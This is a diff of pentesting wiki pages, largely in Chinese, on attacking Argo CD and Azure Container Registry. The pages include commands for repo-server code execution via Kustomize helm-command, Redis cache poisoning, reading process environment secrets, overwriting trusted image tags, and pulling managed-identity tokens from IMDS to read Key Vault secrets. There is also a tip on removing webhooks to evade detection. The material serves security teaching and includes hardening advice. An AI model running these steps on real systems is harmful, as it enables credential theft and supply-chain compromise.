diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc
deleted file mode 100644
index 88b2cd2a7..000000000
Binary files a/scripts/__pycache__/translator.cpython-312.pyc and /dev/null differ
diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md
index 272dfefa3..1c2935ea8 100644
--- a/src/pentesting-ci-cd/argocd-security.md
+++ b/src/pentesting-ci-cd/argocd-security.md
@@ -4,33 +4,33 @@
 
 ## Basic Information
 
-[Argo CD](https://argo-cd.readthedocs.io/) 是一个面向 Kubernetes 的 GitOps continuous delivery platform。它会监视 Git repositories，使用 Helm、Kustomize、Jsonnet 或 config management plugins 等工具渲染 Kubernetes manifests，并将 live cluster state 与存储在 Git 中的 desired state 进行 reconcile。
+[Argo CD](https://argo-cd.readthedocs.io/) 是一个用于 Kubernetes 的 GitOps continuous delivery platform。它监视 Git repositories，使用 Helm、Kustomize、Jsonnet 或 config management plugins 等工具渲染 Kubernetes manifests，并将 live cluster state 与 Git 中存储的 desired state 进行协调。
 
-从攻击者视角来看，应将 Argo CD 视为一个带有 Kubernetes credentials 的 **deployment engine**。一次有效的 Argo CD compromise 可能导致：
+从攻击者的角度来看，应将 Argo CD 视为一个**拥有 Kubernetes credentials 的 deployment engine**。一次有效的 Argo CD compromise 可能导致：
 
 - 访问 private Git repositories 和 repository credentials。
 - 访问 Argo CD 使用的 Kubernetes cluster secrets。
 - 在 `argocd-repo-server` 中执行 manifest generation code。
-- 通过 trusted Git repositories、Argo CD applications 或 cache manipulation 非授权部署 Kubernetes objects。
+- 通过受信任的 Git repositories、Argo CD applications 或 cache manipulation，未经授权地部署 Kubernetes objects。
 
 ## Architecture & Interesting Components
 
-Common Kubernetes objects and services:
+常见的 Kubernetes objects 和 services：
 ```bash
 kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd'
 kubectl get applications,appprojects,applicationsets -A 2>/dev/null
 kubectl get secrets,configmaps -n argocd 2>/dev/null
 kubectl get networkpolicy -n argocd 2>/dev/null
 ```
-有趣的服务：
+值得关注的服务：
 
-- **`argocd-server`**: public API、web UI、CLI API、authentication 和 authorization。
-- **`argocd-application-controller`**: 比较 desired 和 live state，然后将 resources 应用到 Kubernetes。
-- **`argocd-repo-server`**: clones repositories，缓存 Git data，并运行 Helm/Kustomize/Jsonnet/plugins 以生成 manifests。默认 gRPC 端口是 **8081**。
-- **`argocd-redis`**: application、manifest 和 Git reference data 的 cache。默认 Redis 端口是 **6379**。
-- **`argocd-applicationset-controller`**: 从 Git、SCM、clusters 和 pull requests 等 generators 生成 Argo CD `Application` objects。
+- **`argocd-server`**：公共 API、web UI、CLI API、身份验证和授权。
+- **`argocd-application-controller`**：比较期望状态和实际状态，然后将资源应用到 Kubernetes。
+- **`argocd-repo-server`**：克隆仓库、缓存 Git 数据，并运行 Helm/Kustomize/Jsonnet/plugins 以生成 manifests。默认 gRPC 端口为 **8081**。
+- **`argocd-redis`**：用于缓存 application、manifest 和 Git reference 数据。默认 Redis 端口为 **6379**。
+- **`argocd-applicationset-controller`**：根据 Git、SCM、clusters 和 pull requests 等 generators 生成 Argo CD `Application` 对象。
 
-从被 compromise 的 pod 或 internal network segment 中，检查 internal reachability：
+从已被攻陷的 pod 或内部网络 segment 中，检查内部可达性：
 ```bash
 nc -vz <argocd-server> 443
 nc -vz <argocd-repo-server> 8081
@@ -38,7 +38,7 @@ nc -vz <argocd-redis> 6379
 ```
 ## Public API / UI 攻击
 
-如果你有 Argo CD credentials 或一个暴露的 instance，先从 normal API surface 开始：
+如果你拥有 Argo CD credentials 或发现了暴露的实例，请从常规 API surface 开始：
 ```bash
 argocd login <argocd-server>
 argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
 argocd cluster list
 argocd admin settings rbac can <subject> <action> <resource> <object>
 ```
-有用的 attack paths：
+有用的攻击路径：
 
-- **Application write access**: 修改 `source.repoURL`、`source.path`、Helm values、Kustomize 选项、plugin settings 或 sync options，让 Argo CD 部署 attacker-controlled manifests。
-- **Project misconfiguration**: `AppProject` objects 可能允许过宽的 `sourceRepos`、过宽的 `destinations`、不安全的 `clusterResourceWhitelist`，或薄弱的 namespace restrictions。
-- **Repository credential abuse**: repository secrets、GitHub App credentials、SSH keys 和 tokens 可能允许向受信任的 repos 推送，或添加 malicious dependencies。
-- **Cluster credential abuse**: cluster secrets 可能包含 bearer tokens 或 exec-provider configuration，供 Argo CD 用于部署到 target clusters。
-- **Local admin / project tokens**: 长期有效的 Argo CD tokens 除非被 revoke 或 expired，否则可以通过 API 重用。
+- **Application 写入权限**：修改 `source.repoURL`、`source.path`、Helm values、Kustomize options、plugin settings 或 sync options，使 Argo CD 部署攻击者控制的 manifests。
+- **Project 配置错误**：`AppProject` objects 可能允许宽泛的 `sourceRepos`、宽泛的 `destinations`、不安全的 `clusterResourceWhitelist` 或薄弱的 namespace restrictions。
+- **Repository credential abuse**：repository secrets、GitHub App credentials、SSH keys 和 tokens 可能允许向受信任的 repos 推送内容或添加恶意 dependencies。
+- **Cluster credential abuse**：cluster secrets 可能包含 bearer tokens 或 exec-provider configuration，供 Argo CD 部署到目标 clusters。
+- **Local admin / project tokens**：长期有效的 Argo CD tokens 可通过 API 重用，除非已被 revoke 或过期。
 
-当你拥有 cluster read access 时，枚举 Kubernetes 中的配置：
+当你拥有 cluster read access 时，从 Kubernetes 枚举 configuration：
 ```bash
 kubectl get applications.argoproj.io -A -o yaml
 kubectl get appprojects.argoproj.io -A -o yaml
@@ -67,102 +67,102 @@ kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
 ```
 ## Trusted Git Repository Abuse
 
-如果你可以 push 到一个被 Argo CD trusted 的 repository，你通常可以影响部署内容。影响取决于 `AppProject` 边界以及 application controller 使用的 service account 权限。
+如果你可以向 Argo CD 信任的 repository push，通常就能影响部署的内容。影响取决于 `AppProject` 的边界，以及 application controller 使用的 service account 权限。
 
-常见 payload 位置：
+常见的 payload 位置：
 
 - application path 下的原始 Kubernetes YAML。
 - Helm chart templates 和 `values.yaml`。
 - Kustomize overlays、remote bases 和 generators。
-- Jsonnet 或 config management plugin 输入。
-- 创建或更新 `Application` objects 的 ApplicationSet generator files。
+- Jsonnet 或 config management plugin 的输入。
+- 用于创建或更新 `Application` 对象的 ApplicationSet generator 文件。
 
-检查 app 是否使用 automated sync、pruning、self-heal、sync windows 或 manual approvals：
+检查应用是否使用 automated sync、pruning、self-heal、sync windows 或 manual approvals：
 ```bash
 kubectl get applications.argoproj.io -A \
 -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
 ```
 ## 直接滥用 `argocd-repo-server`
 
-不要假设公开的 Argo CD API 是唯一的攻击面。内部 Argo CD 组件通过 gRPC 与 `argocd-repo-server` 通信。若任意 pods 能够访问 repo-server，攻击者控制的内部请求可能绕过通常由 `argocd-server` 强制执行的检查。
+不要假设 public Argo CD API 是唯一的攻击面。Argo CD 内部组件通过 gRPC 与 `argocd-repo-server` 通信。如果任意 pod 都能访问 repo-server，攻击者控制的内部请求可能绕过通常由 `argocd-server` 强制执行的检查。
 
-实际检查：
+实用检查：
 ```bash
 kubectl get svc -n argocd argocd-repo-server -o yaml
 kubectl get endpoints -n argocd argocd-repo-server -o wide
 nc -vz <argocd-repo-server> 8081
 ```
-Interesting signs:
+值得关注的迹象：
 
 - repo-server gRPC endpoint 可从非 Argo CD pods 访问。
-- NetworkPolicies 缺失，或只允许 allow-list egress 但未拒绝 ingress。
-- repo-server 可访问自定义 config management plugins、decryption tools，或来自多个 tenant 的 repository content。
-- Redis 可从非 Argo CD pods 访问；如果 credentials 可用或不需要，就可能进行 cache inspection 或 tampering。
+- 缺少 NetworkPolicies，或仅允许 egress 白名单而未拒绝 ingress。
+- repo-server 可访问 custom config management plugins、decryption tools，或来自多个 tenants 的 repository 内容。
+- Redis 可从非 Argo CD pods 访问；如果凭据可用或不需要凭据，可能允许进行 cache inspection 或 tampering。
 
-## 通过 Kustomize Options 实现未认证的 Repo-Server RCE
+## 未认证的 Repo-Server RCE via Kustomize Options
 
-在 2026 年 7 月，Synacktiv 披露了 Argo CD 的 `repo-server` 中一条未认证 code execution 链，当 attacker 能访问内部 gRPC service 时即可触发。该攻击滥用对 `/repository.RepoServerService/GenerateManifest` 的直接访问，以及 attacker-controlled 的 `KustomizeOptions`。
+2026 年 7 月，Synacktiv 披露了 Argo CD 中的一条未认证 code execution chain：当攻击者能够访问内部 gRPC service 时，可对 `repo-server` 发起攻击。该攻击滥用对 `/repository.RepoServerService/GenerateManifest` 的直接访问，以及由攻击者控制的 `KustomizeOptions`。
 
-危险的 primitive 是强制 repo-server clone attacker-controlled repository content，并在启用 Helm support 的情况下运行 Kustomize：
+其中的危险 primitive 是强制 repo-server clone 由攻击者控制的 repository 内容，并运行带 Helm support 的 Kustomize：
 ```bash
 kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
 ```
-触发 Helm 处理所需的最小恶意 Kustomize 输入：
+最小恶意 Kustomize 输入需要触发 Helm 处理：
 ```yaml
 helmCharts:
 - name: pwn
 version: 0.0.1
 ```
-为什么这可行：
+为什么这能生效：
 
-- `argocd-repo-server` 会在渲染之前先 clone 该 repository。
-- `--helm-command ./payload.sh` 会相对于已 clone 的 repository 来解析。
-- 如果 attacker 能控制被渲染的 repository 和 Kustomize build options，就不需要 shell metacharacter injection 也能实现 Code execution。
+- `argocd-repo-server` 会在渲染前 clone repository。
+- `--helm-command ./payload.sh` 会解析为相对于 cloned repository 的路径。
+- 如果 attacker 能够控制 rendered repository 和 Kustomize build options，则无需注入 shell metacharacter 也能实现 code execution。
 
-在 Synacktiv 于 2026 年 7 月 1 日披露时，他们报告该问题没有官方修复或 CVE。应首先将其视为一个网络暴露问题：exploitation 需要能够访问内部的 repo-server gRPC 端口。
+在 Synacktiv 于 2026 年 7 月 1 日披露时，他们报告称该问题尚无官方修复或 CVE。应首先将其视为 network-exposure issue：利用需要能够访问内部 repo-server gRPC port。
 
 ## Redis Cache Poisoning to Deploy Manifests
 
-在 `argocd-repo-server` 中实现 Code execution 后，或者在使用有效凭据直接访问 Redis 后，检查 Redis-backed cache entries。Argo CD 通常会存储 gzip-compressed JSON values。
+在 `argocd-repo-server` 中实现 code execution 后，或使用有效 credentials 直接访问 Redis 后，检查 Redis-backed cache entries。Argo CD 通常会存储 gzip-compressed JSON values。
 
-有趣的 key prefixes：
+Interesting key prefixes:
 ```text
 mfst|...       # cached rendered manifests
 git-refs|...   # Git branch/ref to commit mappings
 app|...        # application resource/cache data
 cluster|...    # cluster cache information
 ```
-Synacktiv 描述的 cache poisoning attack 利用了两种状态：
+Synacktiv 描述的 cache poisoning attack 滥用了两部分状态：
 
-1. 修改相关的 `mfst|...` manifest cache entry，以包含攻击者控制的 Kubernetes manifest。
-2. 修改相关的 `git-refs|...` mapping，让 Argo CD 认为 branch 已移动，然后再回滚到缓存的 revision。
+1. 修改相关的 `mfst|...` manifest cache 条目，使其包含攻击者控制的 Kubernetes manifest。
+2. 修改相关的 `git-refs|...` 映射，使 Argo CD 认为分支已发生移动，然后重新 reconcile 到缓存的 revision。
 
 影响：
 
-- 启用 Auto Sync 时，Argo CD 可能会自动应用被污染的 cached manifest。
-- 未启用 Auto Sync 时，当用户手动 sync 该 application 时，payload 仍可能被应用。
-- 最终影响受目标 application 的 destination 以及 Argo CD 可用的 Kubernetes permissions 限制。
+- 启用 Auto Sync 时，Argo CD 可能会自动应用被污染的缓存 manifest。
+- 未启用 Auto Sync 时，用户手动 sync application 仍可能应用 payload。
+- 最终影响受目标 application 的 destination 以及 Argo CD 可用的 Kubernetes 权限限制。
 
 ## ApplicationSet Attacks
 
-ApplicationSet 尤其敏感，因为它会根据 generator output 创建或更新 `Application` objects。
+ApplicationSet 尤其敏感，因为它会根据 generator 输出创建或更新 `Application` 对象。
 
-Review:
+检查：
 ```bash
 kubectl get applicationsets.argoproj.io -A -o yaml
 kubectl get appprojects.argoproj.io -A -o yaml
 ```
-Interesting patterns:
+有趣的模式：
 
-- Git generators reading attacker-writable files that control app names, paths, projects or destinations.
-- Pull request generators for public repositories where untrusted contributors can influence generated applications.
-- Template fields that allow broad destination clusters/namespaces.
-- AppProjects that permit `sourceRepos: ["*"]` or broad `destinations`.
-- Generated applications that inherit automated sync and pruning.
+- Git generators 读取 attacker-writable files，而这些文件可控制 app names、paths、projects 或 destinations。
+- 面向 public repositories 的 Pull request generators，其中 untrusted contributors 可以影响生成的 applications。
+- 允许使用 broad destination clusters/namespaces 的 Template fields。
+- 允许 `sourceRepos: ["*"]` 或 broad `destinations` 的 AppProjects。
+- 继承 automated sync 和 pruning 的 Generated applications。
 
 ## Post-Exploitation
 
-From an Argo CD pod shell, prioritize:
+从 Argo CD pod shell 中，优先检查：
 ```bash
 env
 cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config'
 ```
 有用的目标：
 
-- 窃取 `REDIS_PASSWORD` 或 Redis TLS/client 材料。
+- 窃取 `REDIS_PASSWORD` 或 Redis TLS/client material。
 - 从挂载的 secrets 或 Argo CD Kubernetes secrets 中提取 repository credentials。
 - 识别 Argo CD 使用的 cluster credentials。
-- 读取生成的 manifests 和可能包含注入 secrets 的 plugin output。
-- 检查 custom plugins、SOPS、Helm secrets、Vault plugins 或 cloud CLIs 是否暴露了 decryption keys 和 cloud credentials。
+- 读取生成的 manifests 和 plugin output，其中可能包含注入的 secrets。
+- 检查 custom plugins、SOPS、Helm secrets、Vault plugins 或 cloud CLIs 是否暴露 decryption keys 和 cloud credentials。
 
-## 检测与加固
+## Detection & Hardening
 
-重要检查：
+重要检查项：
 
-- 通过 NetworkPolicies 限制 `argocd-repo-server` 端口 **8081** 和 Redis 端口 **6379**，确保只有预期的 Argo CD 组件可以访问它们。
-- 在 Helm deployments 中，确认 network policies 确实被创建。Argo CD Helm chart values 过去通常将组件 network policy creation 默认设为 disabled。
-- 将 `argocd-server` 保持为经过认证的入口点。内部服务不应能被任意 workloads 访问。
-- 禁用未使用的 config management tools 和 plugins。
+- 使用 NetworkPolicies 限制 `argocd-repo-server` 端口 **8081** 和 Redis 端口 **6379**，确保只有预期的 Argo CD 组件可以访问它们。
+- 在 Helm deployments 中，确认确实创建了 network policies。Argo CD Helm chart 的 values 长期以来默认将 component network policy creation 设置为 disabled。
+- 保持 `argocd-server` 作为经过认证的入口点。内部服务不应被任意 workloads 访问。
+- Disable 未使用的 config management tools 和 plugins。
 - 限制 `AppProject` 的 `sourceRepos`、`destinations`、namespace permissions 和 cluster-scoped resources。
-- 避免存储过于宽泛的 repository credentials，以免被低权限 Argo CD user 触发复用。
+- 避免将 broad repository credentials 存储在低权限 Argo CD user 可以促使其复用的位置。
 - 监控 repo-server requests、Kustomize build options、plugin executions、Redis writes，以及对 `mfst|` / `git-refs|` keys 的异常访问。
-- 在发生 compromise 后，轮换 Argo CD local users、project tokens、repository credentials 和 cluster credentials。
+- 在发生 compromise 后，rotate Argo CD local users、project tokens、repository credentials 和 cluster credentials。
 
 有用的命令：
 ```bash
@@ -197,15 +197,15 @@ kubectl get networkpolicy -A | grep -i argocd
 kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
 kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
 ```
-## Static Analysis Note: Typed API Requests in CodeQL
+## CodeQL 中的 Static Analysis Note：Typed API Requests
 
-对于使用 gRPC/REST handlers 的 Go services，默认的 CodeQL remote sources 可能会在原始输入被 unmarshaled 成 typed request objects 之后漏掉 flows。对 Argo CD 风格的 services，一个有用的 model 是：
+对于使用 gRPC/REST handlers 的 Go services，当 raw input 被 unmarshaled 到 typed request objects 后，默认的 CodeQL remote sources 可能会遗漏 flows。对于 Argo CD-style services，一个有用的 model 是：
 
-- Receiver type 例如 `Server` 或 `Service`。
-- 第一个参数是 `context.Context`。
-- 第二个参数是 typed request object。
+- Receiver type，例如 `Server` 或 `Service`。
+- First parameter 是 `context.Context`。
+- Second parameter 是 typed request object。
 
-把这个第二个参数建模为 remote source，并为 `exec.Command` / `exec.CommandContext` arguments 添加 custom sinks。这有助于发现从内部 API request fields 到 command execution helpers 的 flows。
+将 second parameter model 为 remote source，并为 `exec.Command` / `exec.CommandContext` arguments 添加 custom sinks。这有助于发现从 internal API request fields 流向 command execution helpers 的 flows。
 
 ## References
 
@@ -217,3 +217,4 @@ kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
 - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
 - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
 - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
index 52b7c1b91..ed71bf4d6 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
@@ -6,4 +6,8 @@
 az-azure-ai-foundry-post-exploitation.md
 {{#endref}}
 
+{{#ref}}
+az-container-registry-post-exploitation.md
+{{#endref}}
+
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md
new file mode 100644
index 000000000..d8a7d4d86
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md
@@ -0,0 +1,87 @@
+# Az - Container Registry Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Azure Container Registry
+
+有关此服务的更多信息，请查看：
+
+{{#ref}}
+../az-services/az-container-registry.md
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
+
+具有 ACR management-plane 访问权限的身份可以将该访问权限转换为**可复用的 Docker 凭据**。如果已禁用 **admin user**，但该主体同时拥有 `registries/write`，则启用它、获取密码，然后直接针对 `<registry>.azurecr.io` 进行身份验证。
+```bash
+az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
+az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
+az acr credential show -n <registry-name>
+docker login <registry-name>.azurecr.io -u <username> -p <password>
+```
+这很有用，因为恢复的凭据可以在 Azure CLI 之外重复使用，以 **list、pull、push、overwrite，以及有时 delete** registry 内容，直到 admin account 被禁用或密码完成轮换。
+
+### `Microsoft.ContainerRegistry/registries/pull/read`
+
+使用 pull access 对镜像执行 **repository reconnaissance** 和 **secret hunting**。同时检查最终的 container configuration 和历史 filesystem layers，因为某一层中复制的文件即使之后被删除，仍可能可以恢复。
+```bash
+az acr repository list -n <registry-name>
+az acr repository show-tags -n <registry-name> --repository <repository> --detail
+docker pull <registry-name>.azurecr.io/<repository>:<tag>
+
+container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
+docker cp "$container_id":/ ./extracted_container
+docker rm "$container_id"
+docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
+dive <registry-name>.azurecr.io/<repository>:<tag>
+```
+高价值目标包括**环境变量**、**应用配置**、**部署脚本**、**证书**、**访问令牌**和**连接字符串**。在检查各层时，如需更多思路，请参阅 Docker forensics 页面：
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `Microsoft.ContainerRegistry/registries/push/write`
+
+Push 访问权限可让攻击者**污染受信任的仓库**或**覆盖可变标签**，例如 `latest`、`prod` 或 `stable`。任何仍按标签而非 digest 部署的工作负载，都可能在下一次部署、扩容事件或重启时拉取攻击者的镜像。
+```bash
+# Retag an existing local image for the target ACR
+
+docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+
+# If your workstation architecture differs from the target runtime, build for the consumer platform first
+
+docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
+docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
+```
+在替换 tag 之前，请确认下游 workloads 实际使用了哪些 repositories 和 tags。使用 **Digest-pinned** 的 consumers（`@sha256:...`）比基于 tag 的 consumers 更难重定向。
+
+### `Microsoft.ContainerRegistry/registries/push/write`、`Microsoft.ContainerInstance/containerGroups/restart/action`
+
+如果你既能**替换下游 container workload 使用的 image**，又能**重启**该 workload，那么恶意 entrypoint 就会在目标 container 的**网络和 managed identity 上下文**中执行。之后，该 image 可以从 IMDS 请求 tokens，并访问该 workload identity 可访问的 Azure resources。
+```bash
+TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
+curl -H "Authorization: Bearer $TOKEN" \
+'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
+az container restart --resource-group <resource-group> --name <container-name>
+```
+这会将 ACR tag overwrite 转化为 **code execution**、**secret theft** 或 **lateral movement**，影响任何信任被修改 tag 且暴露有用 identity 的 container consumer。
+
+### 相关 privesc 路径：ACR Tasks managed identities
+
+如果你还拥有 `Microsoft.ContainerRegistry/registries/tasks/write` 和 `Microsoft.ContainerRegistry/registries/runs/write`，请转到 ACR privesc 路径，直接滥用 task 的 managed identity：
+
+{{#ref}}
+../az-privilege-escalation/az-container-registry-privesc.md
+{{#endref}}
+
+## 参考资料
+
+- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
+- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
+- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
+- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
+- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
index 3134f6ad9..2e7b0c93d 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md
@@ -4,11 +4,11 @@
 
 ## 基本信息
 
-Azure Container Registry (ACR) 是一个安全的私有 registry，可让你在 Azure cloud 中**存储、管理和访问 container images**。它可与多个 Azure 服务无缝集成，提供大规模的自动化构建和部署工作流。凭借 geo-replication 和 vulnerability scanning 等功能，ACR 有助于确保 containerized applications 达到企业级安全性和合规性。
+Azure Container Registry (ACR) 是一个安全的私有 registry，可让你在 **Azure cloud 中存储、管理和访问 container images**。它与多个 Azure services 无缝集成，可大规模提供自动化的 build 和 deployment workflows。借助 geo-replication 和 vulnerability scanning 等功能，ACR 有助于确保 containerized applications 达到 enterprise-grade 的安全性和合规性。
 
 ### Permissions
 
-这些是根据文档可授予 Container Registry 的**不同权限** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)：
+以下是 [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) 可针对 Container Registry 授予的**不同 permissions**：
 
 - Access Resource Manager
 - Create/delete registry
@@ -18,23 +18,23 @@ Azure Container Registry (ACR) 是一个安全的私有 registry，可让你在
 - Change policies
 - Sign images
 
-另外还有一些可分配的**built-in roles**，也可以创建**custom roles**。
+此外，还可以分配一些 **built-in roles**，也可以创建 **custom roles**。
 
-![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
+![用于管理 registry、image、data、policies 和 signing 操作的 Azure Container Registry built-in roles permissions matrix](/images/registry_roles.png)
 
 ### Authentication
 
 > [!WARNING]
-> 即使 registry 名称包含大写字母，登录、push 和 pull images 时也务必要始终使用**小写字母**。
+> 非常重要：即使 registry name 包含大写字母，也应始终使用**小写字母**来 login、push 和 pull images。
 
-有 4 种方式可以 authenticate 到 ACR：
+有 4 种方式可以向 ACR 进行 authentication：
 
-- **With Entra ID**：这是 authenticate 到 ACR 的**默认**方式。它使用 **`az acr login`** 命令来对 ACR 进行 authentication。该命令会将凭据**存储**在 **`~/.docker/config.json`** 文件中。此外，如果你在一个无法访问 docker socket 的环境中运行该命令，比如 **cloud shell**，可以使用 **`--expose-token`** 参数获取用于 authenticate 到 ACR 的**token**。然后要进行 authentication，你需要将用户名设为 `00000000-0000-0000-0000-000000000000`，例如：`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
-- **With an admin account**：admin user 默认是禁用的，但可以启用，之后就能使用 admin account 的**username** 和 **password** 访问 registry，并拥有对 registry 的完全权限。由于某些 Azure 服务会使用它，因此它仍然受支持。注意会为该用户创建**2 passwords**，两者都有效。你可以通过 `az acr update -n <acrName> --admin-enabled true` 启用它。注意 username 通常是 registry name（而不是 `admin`）。
-- **With a token**：可以创建一个带有特定 **`scope map`**（permissions）的 **token** 来访问 registry。之后可以使用 token 名称作为 username，并使用任意一个生成的 password，通过 `docker login -u <registry-name> -p <password> <registry-url>` authenticate 到 registry
-- **With a Service Principal**：可以创建一个 **service principal** 并分配像 **`AcrPull`** 这样的 role 来 pull images。然后就可以使用 SP appId 作为 username、生成的 secret 作为 password 来**login to the registry**
+- **With Entra ID**：这是向 ACR 进行 authentication 的**默认**方式。它使用 **`az acr login`** command 对 ACR 进行 authentication。此 command 会将 **credentials 存储**在 **`~/.docker/config.json`** file 中。此外，如果你在无法访问 docker socket 的 environment（例如 **cloud shell**）中运行此 command，可以使用 **`--expose-token`** flag 获取用于向 ACR 进行 authentication 的 **token**。之后进行 authentication 时，需要使用 `00000000-0000-0000-0000-000000000000` 作为 username，例如：`docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
+- **With an admin account**：admin user 默认处于 disabled 状态，但可以启用。启用后，即可使用 admin account 的 **username** 和 **password** 访问 registry，并拥有 registry 的全部 permissions。由于某些 Azure services 仍会使用它，因此仍支持此方式。请注意，此 user 会创建 **2 个 passwords**，且两者均有效。可以使用 `az acr update -n <acrName> --admin-enabled true` 启用它。请注意，username 通常是 registry name（而不是 `admin`）。
+- **With a token**：可以创建一个带有**特定 `scope map`**（permissions）的 **token**，用于访问 registry。然后，可以使用 token name 作为 username，并使用生成的 passwords 中的任意一个，通过 `docker login -u <registry-name> -p <password> <registry-url>` 向 registry 进行 authentication。
+- **With a Service Principal**：可以创建一个 **service principal**，并为其分配 **`AcrPull`** 等 role 以 pull images。之后，可以使用 SP appId 作为 username，并使用生成的 secret 作为 password **login to the registry**。
 
-来自 [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 的用于生成具有 registry 访问权限的 SP 的示例脚本：
+以下是 [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) 中用于生成一个对 registry 具有访问权限的 SP 的示例 script：
 ```bash
 #!/bin/bash
 ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
 ```
 ### Encryption
 
-只有 **Premium SKU** 支持 images 和其他 artifacts 的 **encryption at rest**。
+只有 **Premium SKU** 支持对 images 和其他 artifacts 进行 **encryption at rest**。
 
 ### Networking
 
-只有 **Premium SKU** 支持 **private endpoints**。其他的只支持 **public access**。public endpoint 的格式是 `<registry-name>.azurecr.io`，private endpoint 的格式是 `<registry-name>.privatelink.azurecr.io`。因此，registry 的名称必须在整个 Azure 中唯一。
+只有 **Premium SKU** 支持 **private endpoints**。其他 SKU 仅支持 **public access**。public endpoint 的格式为 `<registry-name>.azurecr.io`，private endpoint 的格式为 `<registry-name>.privatelink.azurecr.io`。因此，registry 的名称必须在所有 Azure 中保持唯一。
 
 ### Microsoft Defender for Cloud
 
-这允许你对 registry 中的 **images** 进行 **vulnerabilities** 扫描。
+此功能允许你对 registry 中的 **images** 执行 **vulnerabilities 扫描**。
 
 ### Soft-delete
 
-**soft-delete** 功能允许你在指定天数内 **recover a deleted registry**。该功能默认 **disabled**。
+**soft-delete** 功能允许你在指定的天数内 **恢复已删除的 registry**。此功能默认处于**禁用**状态。
 
 ### Webhooks
 
-可以在 registries 中 **create webhooks**。在这个 webhook 中，需要指定一个 URL，当执行 **push or delete action** 时会向该 URL 发送 **request**。此外，Webhooks 还能指定 scope，用来表示会受影响的 repositories (images)。例如，`foo:\*` 表示 repository `foo` 下的事件。
+可以在 registries 中 **创建 webhooks**。在此 webhook 中，需要指定一个 URL，当执行 **push 或 delete 操作时，将向该 URL 发送 request**。此外，Webhooks 可以指定 scope，以表明哪些 repositories（images）会受到影响。例如，`'foo:\*'` 表示 repository `'foo'` 下的事件。
 
-从 attacker 的角度来看，最好在 registry 中执行任何操作之前先检查这一点，如果需要，可以临时移除它，以避免被发现。
